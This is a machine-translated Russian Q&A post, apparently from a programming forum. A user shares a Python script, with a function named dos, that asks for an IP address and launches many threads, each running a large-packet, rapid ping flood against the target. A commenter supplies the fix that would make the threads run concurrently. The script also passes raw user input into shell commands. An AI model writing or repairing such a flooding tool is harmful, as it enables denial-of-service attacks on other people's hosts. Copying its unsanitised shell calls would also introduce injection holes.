Я пытаюсь создать скрипт python, который попросит вас об IP-адресе и будет иметь много одновременного PING.Python multithreading «ping»
Но, похоже, я могу работать только один PING в то время
Я бегу на OSX
import _thread
import os
import time
def main():
threadnbr = 0
ip = str(input("Input the ip adresse to play with? "))
threads = int(input("Have many threads? "))
check(ip)
if check(ip) == 0:
print("It is up")
else:
print("Is is down")
thread(ip, threads, threadnbr)
def thread(ip, threads, threadnbr):
while threads > threadnbr:
_thread.start_new_thread(dos(ip))
threadnbr = threadnbr + 1
else:
print(threadnbr, " started")
def check(ip):
response = os.system("ping -c 1 " + ip)
return response
def dos(ip):
os.system("ping -i 0.1 -s 8000 " + ip)
print("1")
main()
Учусь IT-технологии, и мы имеем о ICMP, так что да, это для образовательных целей. Но должны ли я написать программу тогда? –
@JesperPetersen вы * вероятно * хотели написать '_thread.start_new_thread (dos, (ip,))' – goncalopp
Есть ли у меня это снова? –